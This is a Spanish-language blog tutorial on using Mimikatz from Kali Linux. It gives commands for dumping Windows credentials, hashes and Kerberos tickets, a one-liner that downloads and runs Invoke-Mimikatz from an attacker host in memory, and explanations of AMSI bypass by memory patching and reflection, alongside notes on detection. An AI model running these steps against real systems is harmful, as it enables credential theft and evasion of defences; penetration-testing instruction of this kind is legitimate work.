Mimikatz extraer credenciales, contraseñas en texto plano, hashes NT/LM, tickets Kerberos de la memoria del Windows

 

https://www.onlinetis.com

Mimikatz extraer credenciales, contraseñas en texto plano, hashes NT/LM, tickets Kerberos de la memoria del Windows

Mimikatz es una de las herramientas más populares en pruebas de penetración y red teaming para extraer credenciales, contraseñas en texto plano, hashes NT/LM, tickets Kerberos y más de la memoria del sistema operativo Windows.

En Kali Linux, Mimikatz se incluye principalmente como una herramienta para transferir al objetivo Windows o para analizar volcados de memoria localmente.

1. Ubicación de Mimikatz en Kali Linux

Mimikatz para Windows viene preinstalado en el repositorio de recursos de Kali Linux. Puedes encontrar los ejecutables compilados de 32 y 64 bits en la siguiente ruta:

Bash
/usr/share/mimikatz/
# O también en:
/usr/share/windows-resources/mimikatz/

Si no lo tienes disponible, puedes instalarlo usando el gestor de paquetes APT:

Bash
sudo apt update && sudo apt install mimikatz

2. Formas de Ejecución y Uso

A. Transferir y Ejecutar en la Máquina Objetivo (Windows)

Mimikatz es un ejecutable nativo de Windows (mimikatz.exe). El flujo de trabajo habitual consiste en:

  1. Obtener acceso en la máquina objetivo con privilegios de administrador (NT AUTHORITY\SYSTEM).

  2. Transferir mimikatz.exe de Kali a la máquina Windows (vía HTTP, SMB, PowerShell, etc.).

  3. Ejecutar el binario con privilegios elevados.

Nota: La mayoría de soluciones antivirus y Windows Defender detectan el binario estándar de Mimikatz de inmediato. Para entornos reales de auditoría suele ser necesario ofuscarlo o ejecutarlo en memoria (vía PowerShell/Reflective DLL Injection o cargadores como Invoke-Mimikatz).

B. Alternativa desde Kali sin transferir archivos (impacket / pypykatz)

Si prefieres extraer credenciales de forma remota desde tu Kali Linux sin ejecutar binarios extra en el objetivo, existen alternativas nativas en Python:

  • Impacket (secretsdump):

    Extrae hashes SAM, LSA y NTDS de forma remota mediante credenciales válidas o hash NT.

    Bash
    impacket-secretsdump DOMINIO/usuario:'password'@192.168.1.50
    
  • Pypykatz:

    Una implementación completa de Mimikatz escrita puramente en Python. Sirve para analizar volcados de memoria (dumps de LSASS) generados en el objetivo sin necesidad de ejecutar Mimikatz en Windows.

    Bash
    pypykatz lsa minidump lsass.dmp
    

3. Comandos Principales de Mimikatz

Una vez iniciado el entorno interactivo de Mimikatz en Windows (con permisos de Administrador):

ComandoDescripción
privilege::debugHabilita los privilegios SeDebugPrivilege (necesario para interactuar con la memoria de lsass.exe).
sekurlsa::logonpasswordsExtrae credenciales en texto plano y hashes NTLM de usuarios con sesión activa en memoria.
lsadump::samExtrae los hashes NTLM de las cuentas locales del sistema desde la base de datos SAM.
lsadump::lsa /patchExtrae secretos guardados en la LSA (Local Security Authority).
kerberos::listLista los tickets Kerberos almacenados en la sesión actual.
sekurlsa::tickets /exportExporta los tickets Kerberos a archivos .kirbi para técnicas como Pass-the-Ticket.


Invoke-Mimikatz (incluido originalmente en la suite PowerSploit) es un script de PowerShell diseñado para ejecutar Mimikatz directamente en la memoria RAM del sistema objetivo, sin necesidad de tocar el disco duro con un ejecutable .exe.

Esta técnica aprovecha el paradigma "Fileless" (sin archivos) para eludir la detección básica de antivirus basada en firmas de archivos.

1. El Mecanismo Técnico: ¿Cómo Funciona?

Invoke-Mimikatz combina dos conceptos fundamentales:

A. Inyección Reflectiva de DLL (Reflective DLL Injection)

Mimikatz está incrustado dentro del propio script de PowerShell como una cadena codificada en Base64 que representa el binario compilado (la DLL de Mimikatz).

  1. PowerShell decodifica los bytes de la DLL directamente en el espacio de memoria del proceso powershell.exe.

  2. Mediante llamadas a la API de Windows (VirtualAlloc, WriteProcessMemory, CreateRemoteThread), el script recrea las funciones del cargador nativo de Windows (Windows Loader) en memoria.

  3. Resuelve las dependencias e importaciones de la DLL en tiempo de ejecución y ejecuta el punto de entrada sin registrar la DLL en la lista oficial de módulos cargados por el SO.

B. Descarga e Invocación Directa

El script se suele descargar y ejecutar en una sola línea de comandos (One-liner) usando la capacidad de PowerShell de interpretar código alojado en un servidor web remoto:

PowerShell
# Invocación remota directamente en memoria:
IEX (New-Object Net.WebClient).DownloadString('http://<IP-KALI>/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
  • DownloadString: Descarga el contenido del archivo .ps1 como texto hacia la memoria RAM.

  • IEX (Invoke-Expression): Interpreta y ejecuta el código PowerShell recibido sin guardarlo en disco.

2. Parámetros Principales de Uso

Una vez cargada la función en la sesión de PowerShell, se puede interactuar con ella mediante parámetros nativos:

ParámetroDescripción
-CommandPasa los comandos estándar de Mimikatz entre comillas (ej. "sekurlsa::logonpasswords").
-ComputerNameEjecuta Invoke-Mimikatz de forma remota en equipos de la red mediante PowerShell Remoting (WinRM).
-DumpCredsAcceso directo/alias rápido para ejecutar los comandos básicos de extracción de credenciales.

Ejemplo básico de extracción local:

PowerShell
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

3. Desafíos y Detección Actual

A pesar de no escribir archivos en disco, esta técnica es altamente detectada en entornos modernos por las defensas del sistema operativo:

  • AMSI (Antimalware Scan Interface): Windows Defender analiza las cadenas de texto del script PowerShell en la memoria RAM justo antes de que IEX las ejecute. Detecta firmas como el nombre de la función Invoke-Mimikatz o fragmentos de la DLL codificada.

  • PowerShell Script Block Logging (Event ID 4104): Registra el contenido completo de los bloques de código de PowerShell ejecutados, lo que permite a las herramientas SIEM/EDR alertar sobre la ejecución de comandos de Mimikatz.

  • Inspección de LSASS por EDR: Aunque la inyección sea reflectiva, la acción final sigue requiriendo abrir un manejador (handle) al proceso lsass.exe con privilegios PROCESS_VM_READ, lo cual activa alertas en la mayoría de agentes EDR modernos.


AMSI (Antimalware Scan Interface) es una interfaz estándar de Windows que permite a las aplicaciones —como PowerShell, WScript o CScript— integrar el motor del antivirus (como Windows Defender o EDRs) directamente en la memoria.

Cuando ejecutas un comando o script en PowerShell, AMSI intercepta el bloque de código en memoria justo antes de su ejecución, lo pasa al antivirus para su análisis sintáctico y, si detecta firmas conocidas (como la palabra Invoke-Mimikatz), aborta la instrucción.

Un AMSI Bypass consiste en desarmar o parchear las estructuras del motor de AMSI dentro del proceso actual de PowerShell para que todo el código subsiguiente se ejecute sin pasar por el filtro.

1. ¿Cómo Funciona AMSI en el Proceso?

Cuando inicias powershell.exe, el sistema operativo carga dinámicamente la biblioteca nativa amsi.dll dentro del espacio de memoria del propio proceso.

El flujo estándar de evaluación es el siguiente:

[Usuario / Script]
       │
       ▼
[PowerShell.exe] ────(Pasa buffer de memoria)────► [amsi.dll (AmsiScanBuffer)]
                                                               │
                                                       (Consulta servicio)
                                                               │
                                                               ▼
[Código Abortado] ◄────(Resultado: AMSI_RESULT_DETECTED)─── [Windows Defender / AV]

La función clave dentro de amsi.dll es AmsiScanBuffer. Esta función recibe el buffer de texto del script, lo analiza y devuelve un código de resultado:

  • AMSI_RESULT_CLEAN (0x0): El código es seguro.

  • AMSI_RESULT_NOT_DETECTED (0x1): No se detectó ninguna amenaza.

  • AMSI_RESULT_DETECTED (32768 / 0x8000): Se detectó un patrón malicioso y se bloquea la ejecución.

2. Técnicas Clásicas de Bypass de AMSI

Los bypasses de AMSI explotan el hecho de que amsi.dll vive dentro del mismo espacio de memoria que el proceso de PowerShell. Dado que el usuario controla el hilo de ejecución de PowerShell, puede modificar la memoria de su propio proceso.

Existen tres enfoques principales para anularlo:

A. Memoria Parcheada (In-Memory Patching) — El Método Más Común

Consiste en buscar la función AmsiScanBuffer en el espacio de memoria de powershell.exe y sobreescribir sus primeras instrucciones en lenguaje ensamblador por una instrucción que fuerce a la función a responder inmediatamente que el buffer está "limpio", sin realizar el análisis.

  1. Se obtiene el puntero de memoria de la función AmsiScanBuffer en amsi.dll mediante las APIs de Windows GetProcAddress y GetModuleHandle.

  2. Se cambia la protección de esa página de memoria de "solo lectura/ejecución" a "lectura/escritura/ejecución" usando VirtualProtect.

  3. Se escribe un conjunto de bytes (instrucciones en ensamblador) al inicio de la función:

    • Por ejemplo, retornar directamente el código AMSI_RESULT_CLEAN o devolver un error de inicialización (E_INVALIDARG).

  4. Se restaura la protección original de la página de memoria.

Estructura conceptual del parche en memoria (x64):

Antes del parche:
  amsi!AmsiScanBuffer:
    mov    rax, rsp
    push   rsi
    ... (lógica de escaneo normal) ...

Después del parche:
  amsi!AmsiScanBuffer:
    mov    eax, 0x80070057  ; Devuelve E_INVALIDARG directamente
    ret                     ; Retorna de inmediato omitiendo el escaneo

B. Modificación de Variables Internas (Context Tampering)

AMSI utiliza una estructura en memoria llamada AmsiContext para mantener la sesión de análisis.

Mediante reflexión en PowerShell (System.Reflection), es posible acceder a los campos privados de la clase System.Management.Automation.AmsiUtils. Si se modifica la variable booleana amsiInitFailed a $true o se sobreescribe el puntero amsiContext con ceros (0x0), PowerShell asumirá que la interfaz de AMSI falló al inicializarse y omitirá todas las comprobaciones posteriores.

C. Ofuscación de Cadenas (Obfuscation)

Dado que AMSI analiza el texto en búsqueda de cadenas estáticas (como AmsiScanBuffer, amsiInitFailed o Invoke-Mimikatz), el bypass en sí mismo o la herramienta pueden ser divididos, concatenados, codificados en Base64 o cifrados para que el análisis de firmas no los reconozca al momento de ingresar.

3. Estado Actual y Contramedidas

En entornos de auditoría actuales, los bypasses estáticos sencillos son detectados rápidamente debido a la evolución de las defensas:

  • Firmas de Bypasses: Los antivirus principales han añadido firmas no solo para las herramientas finales, sino también para las técnicas comunes de bypass de AMSI (como los patrones de bytes utilizados para parchear AmsiScanBuffer).

  • Protección de Memoria y Event Tracing (ETW): Las soluciones modernas monitorean llamadas sensibles como VirtualProtect o utilizan Event Tracing for Windows (ETW) para correlacionar la modificación de DLLs en memoria con comportamientos anómalos.

  • Hardware-Enforced Stack Protection: Procesadores y sistemas operativos recientes implementan protecciones de integridad de control de flujo (CFG/CET) que dificultan la manipulación directa de instrucciones ejecutables en memoria.

https://www.onlinetis.com

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux